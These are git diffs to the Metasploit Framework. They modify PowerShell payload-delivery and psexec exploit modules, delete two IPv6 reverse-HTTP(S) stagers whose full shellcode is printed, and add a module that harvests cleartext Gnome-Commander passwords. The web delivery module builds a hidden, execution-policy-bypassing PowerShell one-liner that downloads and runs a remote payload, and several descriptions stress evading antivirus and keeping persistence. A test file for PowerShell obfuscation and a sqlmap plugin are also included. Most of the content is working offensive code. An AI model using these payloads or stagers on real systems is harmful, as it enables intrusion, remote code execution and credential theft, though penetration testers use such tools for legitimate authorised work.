:windowstyle => 'hidden',
:command => "$#{x}=''"
})
env_vars.each do |env|
exec_cmd << "+$env:#{env}"
end
@ -126,6 +134,8 @@ class Metasploit3 < Msf::Exploit::Local
rescue Rex::Post::Meterpreter::RequestError => e
print_error("[#{server}] Error moving on... #{e}")
return false
ensure
Rex::sleep(2)
end
end

View File

@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
execute_cmdstager({:flavor => :vbs, :linemax => 7500})
elsif target.name =~ /Powershell/
# Environment variables are not being expanded before, neither in CreateProcess
command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")

View File

@ -4,11 +4,13 @@
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
include Msf::Module::Deprecated
@ -17,8 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'PowerShell Payload Web Delivery',
'Description' => %q{
'Name' => 'PowerShell Payload Web Delivery',
'Description' => %q{
This module quickly fires up a web server that serves the payload in PowerShell.
The provided command will start PowerShell and then download and execute the
payload. The IEX command can also be extracted to execute directly from PowerShell.
@ -26,42 +28,50 @@ class Metasploit3 < Msf::Exploit::Remote
machine when the attacker has to manually type in the command himself, e.g. RDP
Session, Local Access or maybe Remote Command Exec. This attack vector does not
write to disk so is less likely to trigger AV solutions and will allow privilege
escalations supplied by Meterpreter. Ensure the payload architecture matches the
target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
escalations supplied by Meterpreter.
},
'License' => MSF_LICENSE,
'Author' =>
'License' => MSF_LICENSE,
'Author' =>
[
'Ben Campbell',
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
],
'References' =>
'References' =>
[
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
],
'Platform' => 'win',
'Targets' =>
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ]
],
'DefaultTarget' => 0,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 19 2013'))
end
def on_request_uri(cli, request)
print_status("Delivering Payload")
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
{
:remove_comspec => true,
:use_single_quotes => true
})
send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' })
end
def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_status("Run the following command on the target machine:")
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
print_line generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => download_and_run
})
end
end

File diff suppressed because it is too large Load Diff

View File

@ -23,20 +23,18 @@ class Metasploit3 < Msf::Exploit::Remote
payload using a similar technique to the "psexec" utility provided by SysInternals. The
payload is encoded in base64 and executed from the commandline using the -encodedcommand
flag. Using this method, the payload is never written to disk, and given that each payload
is unique, is less prone to signature based detection. Since executing shellcode in .NET
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
must match that of the payload. Lastly, a persist option is provided to execute the payload
in a while loop in order to maintain a form of persistence. In the event of a sandbox
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
In order to avoid interactive process notifications for the current user, the psh payload has
been reduced in size and wrapped in a powershell invocation which hides the process entirely.
is unique, is less prone to signature based detection. A persist option is provided to
execute the payload in a while loop in order to maintain a form of persistence. In the
event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
avoid detection. In order to avoid interactive process notifications for the current user,
the psh payload has been reduced in size and wrapped in a powershell invocation which hides
the window entirely.
},
'Author' => [
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
@ -44,17 +42,10 @@ class Metasploit3 < Msf::Exploit::Remote
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1999',
@ -66,17 +57,21 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))
register_options([
OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
], self.class)
end
def exploit
command = cmd_psh_payload(payload.encoded)
if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['DryRun']
print_good command.inspect
return
end
if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Try and authenticate with given credentials
@ -84,16 +79,16 @@ class Metasploit3 < Msf::Exploit::Remote
begin
smb_login
rescue StandardError => autherror
disconnect
fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
end
# Execute the powershell command
print_status("#{peer} - Executing the payload...")
begin
return psexec(command)
rescue StandardError => exec_command_error
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
ensure
disconnect
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
end

View File

@ -79,7 +79,13 @@ module Metasploit3
i = p.index("/12345\x00")
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
lhost = datastore['LHOST'] || Rex::Socket.source_address
if Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
p + lhost + "\x00"
end
#

View File

@ -1,95 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_ipv6_http'
require 'msf/core/module/deprecated'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Module::Deprecated
DEPRECATION_DATE = Date.new(2014, 7, 30)
DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https'
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager (IPv6)',
'Description' => 'Tunnel communication over HTTP and IPv6',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseIPv6Http,
'Convention' => 'sockedi http',
'Stager' =>
{
'Offsets' =>
{
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
# 'EXITFUNC' => [ 290, 'V' ],
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
}
))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
p = super
i = p.index("/12345\x00")
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"
if Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
p + lhost + "\x00"
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

View File

@ -1,96 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_ipv6_https'
require 'msf/core/module/deprecated'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Module::Deprecated
DEPRECATION_DATE = Date.new(2014, 7, 30)
DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https'
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTPS Stager (IPv6)',
'Description' => 'Tunnel communication over HTTP using SSL and IPv6',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseIPv6Https,
'Convention' => 'sockedi https',
'Stager' =>
{
'Offsets' =>
{
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
# 'EXITFUNC' => [ 290, 'V' ],
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
"\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" +
"\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" +
"\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" +
"\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
"\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" +
"\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" +
"\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" +
"\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" +
"\xFF\xFF\xFF"
}
))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
p = super
i = p.index("/12345\x00")
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"
if Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
p + lhost + "\x00"
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

View File

@ -0,0 +1,65 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Gnome-Commander Creds',
'Description' => %q{
This module collects the clear text passwords stored by
Gnome-commander, a GUI file explorer for GNOME. Typically, these
passwords are stored in the user's home directory, at
~/.gnome-commander/connections.
},
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
'Platform' => %w{ linux },
'SessionTypes' => [ 'meterpreter', 'shell']
))
end
def run
user_dirs = []
# Search current user
user = cmd_exec("whoami").chomp
# User is root
if user == 'root'
print_status("Current user is #{user}, probing all home dirs")
user_dirs << '/root'
# Search home dirs
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
else
# Non root user
print_status("Current user is #{user}, probing /home/#{user}")
user_dirs << "/home/#{user}"
end
# Try to find connections file in users homes
user_dirs.each do |dir|
# gnome-commander connections file
connections_file = "#{dir}/.gnome-commander/connections"
if file?(connections_file)
#File exists
begin
str_file=read_file(connections_file)
print_good("File found: #{connections_file}")
vprint_line(str_file)
#Store file
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
print_good ("Connections file saved to #{p}")
rescue EOFError
# If there's nothing in the file, we hit EOFError
print_error("Nothing read from file: #{connections_file}, file may be empty")
end
else
# File not found
vprint_error("File not found: #{connections_file}")
end
end
end
end

291
plugins/sqlmap.rb Normal file
View File

@ -0,0 +1,291 @@
require 'sqlmap/sqlmap_session'
require 'sqlmap/sqlmap_manager'
require 'json'
module Msf
class Plugin::Sqlmap < Msf::Plugin
class SqlmapCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def name
'Sqlmap'
end
def commands
{
'sqlmap_new_task' => 'It\'s a task!',
'sqlmap_connect' => 'sqlmap_connect <host> [<port>]',
'sqlmap_list_tasks' => 'List the knows tasks. Not stored in a DB, so lives as long as the console does',
'sqlmap_get_option' => 'Get an option for a task',
'sqlmap_set_option' => 'Set an option for a task',
'sqlmap_start_task' => 'Start the task',
'sqlmap_get_status' => 'Get the status of a task',
'sqlmap_get_log' => 'Get the running log of a task',
'sqlmap_get_data' => 'Get the resulting data of the task',
'sqlmap_save_data' => 'Save the resulting data as web_vulns'
}
end
def cmd_sqlmap_connect(*args)
if args.length == 0
print_error('Need a host, and optionally a port')
return
end
host, port = args
if !port
@manager = Sqlmap::Manager.new(Sqlmap::Session.new(host))
else
@manager = Sqlmap::Manager.new(Sqlmap::Session.new(host, port))
end
print_good('Set connection settings for host ' + host + (port ? ' on port ' + port : ''))
end
def cmd_sqlmap_set_option(*args)
unless args.length == 3
print_error('Usage:')
print_error("\tsqlmap_set_option <taskid> <option_name> <option_value>")
return
end
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
val = args[2] =~ /^\d+$/ ? args[2].to_i : args[2]
res = @manager.set_option(@hid_tasks[args[0]], args[1], val)
print_status("Success: #{res['success']}")
end
def cmd_sqlmap_start_task(*args)
if args.length == 0
print_error('Usage:')
print_error("\tsqlmap_start_task <taskid> [<url>]")
return
end
options = {}
options['url'] = args[1] if args.length == 2
if !options['url'] && @tasks[@hid_tasks[args[0]]]['url'] == ''
print_error('You need to specify a URL either as an argument to sqlmap_start_task or sqlmap_set_option')
return
end
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
res = @manager.start_task(@hid_tasks[args[0]], options)
print_status("Started task: #{res['success']}")
end
def cmd_sqlmap_get_log(*args)
unless args.length == 1
print_error('Usage:')
print_error("\tsqlmap_get_log <taskid>")
return
end
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
res = @manager.get_task_log(@hid_tasks[args[0]])
res['log'].each do |message|
print_status("[#{message['time']}] #{message['level']}: #{message['message']}")
end
end
def cmd_sqlmap_get_status(*args)
unless args.length == 1
print_error('Usage:')
print_error("\tsqlmap_get_status <taskid>")
return
end
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
res = @manager.get_task_status(@hid_tasks[args[0]])
print_status('Status: ' + res['status'])
end
def cmd_sqlmap_get_data(*args)
unless args.length == 1
print_error('Usage:')
print_error("\tsqlmap_get_data <taskid>")
return
end
@hid_tasks ||= {}
@tasks ||= {}
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
@tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options']
print_line
print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url'])
res = @manager.get_task_data(@hid_tasks[args[0]])
tbl = Rex::Ui::Text::Table.new(
'Columns' => ['Title', 'Payload'])
res['data'].each do |d|
d['value'].each do |v|
v['data'].each do |i|
title = i[1]['title'].split('-')[0]
payload = i[1]['payload']
tbl << [title, payload]
end
end
end
print_line
print_line tbl.to_s
print_line
end
def cmd_sqlmap_save_data(*args)
unless args.length == 1
print_error('Usage:')
print_error("\tsqlmap_save_data <taskid>")
return
end
unless framework.db && framework.db.usable
print_error('No database is connected or usable')
return
end
@hid_tasks ||= {}
@tasks ||= {}
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
@tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options']
print_line
print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url'])
res = @manager.get_task_data(@hid_tasks[args[0]])
web_vuln_info = {}
url = @tasks[@hid_tasks[args[0]]]['url']
proto = url.split(':')[0]
host = url.split('/')[2]
port = 80
host, port = host.split(':') if host.include?(':')
path = '/' + (url.split('/')[3..(url.split('/').length - 1)].join('/'))
query = url.split('?')[1]
web_vuln_info[:web_site] = url
web_vuln_info[:path] = path
web_vuln_info[:query] = query
web_vuln_info[:host] = host
web_vuln_info[:port] = port
web_vuln_info[:ssl] = (proto =~ /https/)
web_vuln_info[:category] = 'imported from sqlmap'
res['data'].each do |d|
d['value'].each do |v|
web_vuln_info[:pname] = v['parameter']
web_vuln_info[:method] = v['place']
web_vuln_info[:payload] = v['suffix']
v['data'].values.each do |i|
web_vuln_info[:name] = i['title']
web_vuln_info[:description] = res.to_json
web_vuln_info[:proof] = i['payload']
framework.db.report_web_vuln(web_vuln_info)
end
end
end
print_good('Saved vulnerabilities to database.')
end
def cmd_sqlmap_get_option(*args)
@hid_tasks ||= {}
@tasks ||= {}
unless args.length == 2
print_error('Usage:')
print_error("\tsqlmap_get_option <taskid> <option_name>")
end
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
arg = args.first
task_options = @manager.get_options(@hid_tasks[arg])
@tasks[@hid_tasks[arg]] = task_options['options']
if @tasks[@hid_tasks[arg]]
print_good(args[1] + ': ' + @tasks[@hid_tasks[arg]][args[1]].to_s)
else
print_error("Option #{arg} doesn't exist")
end
end
def cmd_sqlmap_new_task
@hid_tasks ||= {}
@tasks ||= {}
unless @manager
print_error('Please run sqlmap_connect <host> first.')
return
end
taskid = @manager.new_task['taskid']
@hid_tasks[(@hid_tasks.length + 1).to_s] = taskid
task_options = @manager.get_options(taskid)
@tasks[@hid_tasks[@hid_tasks.length]] = task_options['options']
print_good("Created task: #{@hid_tasks.length}")
end
def cmd_sqlmap_list_tasks
@hid_tasks ||= {}
@tasks ||= {}
@hid_tasks.keys.each do |task|
print_good("Task ID: #{task}")
end
end
end
def initialize(framework, opts)
super
add_console_dispatcher(SqlmapCommandDispatcher)
print_status('Sqlmap plugin loaded')
end
def cleanup
remove_console_dispatcher('Sqlmap')
end
def name
'Sqlmap'
end
def desc
'Use Sqlmap, yo!'
end
end
end

View File

@ -2,13 +2,9 @@
# Web assessment for the metasploit framework
# Efrain Torres - et[ ] metasploit.com 2012
#
# $Id$
# $Revision$
#
require 'rabal/tree'
require 'msf/core/rpc/v10/client'
#require 'fileutils'
module Msf
@ -931,7 +927,7 @@ class Plugin::Wmap < Msf::Plugin
end
end
datastr = temparr.join("&") if (temparr and not temparr.empty?)
datastr = temparr.join("&") if (temparr and not temparr.empty?)
if (utest_query.has_key?(signature(form.path,datastr)) == false)
@ -1070,7 +1066,7 @@ class Plugin::Wmap < Msf::Plugin
end
end
datastr = temparr.join("&") if (temparr and not temparr.empty?)
datastr = temparr.join("&") if (temparr and not temparr.empty?)
modopts['METHOD'] = req.method.upcase
modopts['PATH'] = req.path

View File

@ -78,8 +78,8 @@ handler.datastore['InitialAutoRunScript'] = "migrate -f"
handler.datastore['ExitOnSession'] = false
#start a handler to be ready
handler.exploit_simple(
'Payload' => handler.datastore['PAYLOAD'],
'RunAsJob' => true
'Payload' => handler.datastore['PAYLOAD'],
'RunAsJob' => true
)
#attempt to make new service
@ -132,7 +132,7 @@ service_list.each do |serv|
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = "#{sysdir}\\system32\\#{serv}.exe")
source = "#{sysdir}\\system32\\#{serv}.exe"
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourcemaybe = client.fs.file.expand_path(sourceorig)

View File

@ -0,0 +1,488 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/powershell'
def decompress(code)
Rex::Exploitation::Powershell::Script.new(code).decompress_code
end
describe Msf::Exploit::Powershell do
subject do
mod = Msf::Exploit.allocate
mod.extend described_class
mod.send(:initialize, {})
mod.datastore['Verbose'] = true
mod
end
let(:example_script) do
File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
end
let(:payload) do
Rex::Text.rand_text_alpha(120)
end
let(:arch) do
'x86'
end
describe "::encode_script" do
it 'should read and encode a sample script file' do
script = subject.encode_script(example_script)
script.should be
script.length.should be > 0
end
end
describe "::compress_script" do
context 'when default datastore is set' do
it 'should create a compressed script' do
script = File.read(example_script)
compressed = subject.compress_script(script)
compressed.length.should be < script.length
compressed.include?('IO.Compression').should be_true
end
it 'should create a compressed script with eof' do
script = File.read(example_script)
compressed = subject.compress_script(script, 'end_of_file')
compressed.include?('end_of_file').should be_true
end
end
context 'when strip_comments is true' do
before do
subject.datastore['Powershell::strip_comments'] = true
subject.options.validate(subject.datastore)
end
it 'should strip comments' do
script = File.read(example_script)
compressed = subject.compress_script(script)
compressed.length.should be < script.length
end
end
context 'when strip_comment is false' do
before do
subject.datastore['Powershell::strip_comments'] = false
subject.options.validate(subject.datastore)
end
it 'shouldnt strip comments' do
script = File.read(example_script)
compressed = subject.compress_script(script)
compressed.length.should be < script.length
end
end
context 'when strip_whitespace is true' do
before do
subject.datastore['Powershell::strip_whitespace'] = true
subject.options.validate(subject.datastore)
end
it 'should strip whitespace' do
script = File.read(example_script)
compressed = subject.compress_script(script)
decompress(compressed).length.should be < script.length
end
end
context 'when strip_whitespace is false' do
before do
subject.datastore['Powershell::strip_whitespace'] = false
subject.options.validate(subject.datastore)
end
it 'shouldnt strip whitespace' do
script = File.read(example_script)
compressed = subject.compress_script(script)
decompress(compressed).length.should be script.length
end
end
context 'when sub_vars is true' do
before do
subject.datastore['Powershell::sub_vars'] = true
subject.options.validate(subject.datastore)
end
it 'should substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script)
decompress(compressed).include?('$hashes').should be_false
end
end
context 'when sub_vars is false' do
before do
subject.datastore['Powershell::sub_vars'] = false
subject.options.validate(subject.datastore)
end
it 'shouldnt substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script)
decompress(compressed).include?('$hashes').should be_true
end
end
context 'when sub_funcs is true' do
before do
subject.datastore['Powershell::sub_funcs'] = true
subject.options.validate(subject.datastore)
end
it 'should substitute functions' do
script = File.read(example_script)
compressed = subject.compress_script(script)
decompress(compressed).include?('DumpHashes').should be_false
end
end
context 'when sub_funcs is false' do
before do
subject.datastore['Powershell::sub_funcs'] = false
subject.options.validate(subject.datastore)
end
it 'shouldnt substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script)
decompress(compressed).include?('DumpHashes').should be_true
end
end
end
describe "::run_hidden_psh" do
let(:encoded) do
false
end
context 'when x86 payload' do
it 'should generate code' do
code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('syswow64').should be_true
end
end
context 'when x64 payload' do
it 'should generate code' do
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
code.include?('sysnative').should be_true
end
end
context 'when encoded' do
it 'should generate a code including an encoded command' do
code = subject.run_hidden_psh(payload, arch, true)
code.include?('-nop -w hidden -e ').should be_true
end
end
context 'when command' do
it 'should generate code including a -c command' do
code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-nop -w hidden -c ').should be_true
end
end
context 'when old' do
before do
subject.datastore['Powershell::method'] = 'old'
subject.options.validate(subject.datastore)
end
it 'should generate a code including unshorted args' do
code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true
end
end
end
describe "::cmd_psh_payload" do
context 'when payload is huge' do
it 'should raise an exception' do
except = false
begin
code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch)
rescue RuntimeError => e
except = true
end
except.should be_true
end
end
context 'when persist is true' do
before do
subject.datastore['Powershell::persist'] = true
subject.options.validate(subject.datastore)
end
it 'should add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('while(1){Start-Sleep -s ').should be_true
end
end
context 'when persist is false' do
before do
subject.datastore['Powershell::persist'] = false
subject.options.validate(subject.datastore)
end
it 'shouldnt add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('while(1){Start-Sleep -s ').should be_false
end
end
context 'when prepend_sleep is set' do
before do
subject.datastore['Powershell::prepend_sleep'] = 5
subject.options.validate(subject.datastore)
end
it 'should prepend sleep' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_true
end
end
context 'when prepend_sleep isnt set' do
before do
subject.datastore['Powershell::prepend_sleep'] = nil
subject.options.validate(subject.datastore)
end
it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_false
end
end
context 'when prepend_sleep is 0' do
before do
subject.datastore['Powershell::prepend_sleep'] = 0
subject.options.validate(subject.datastore)
end
it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_false
end
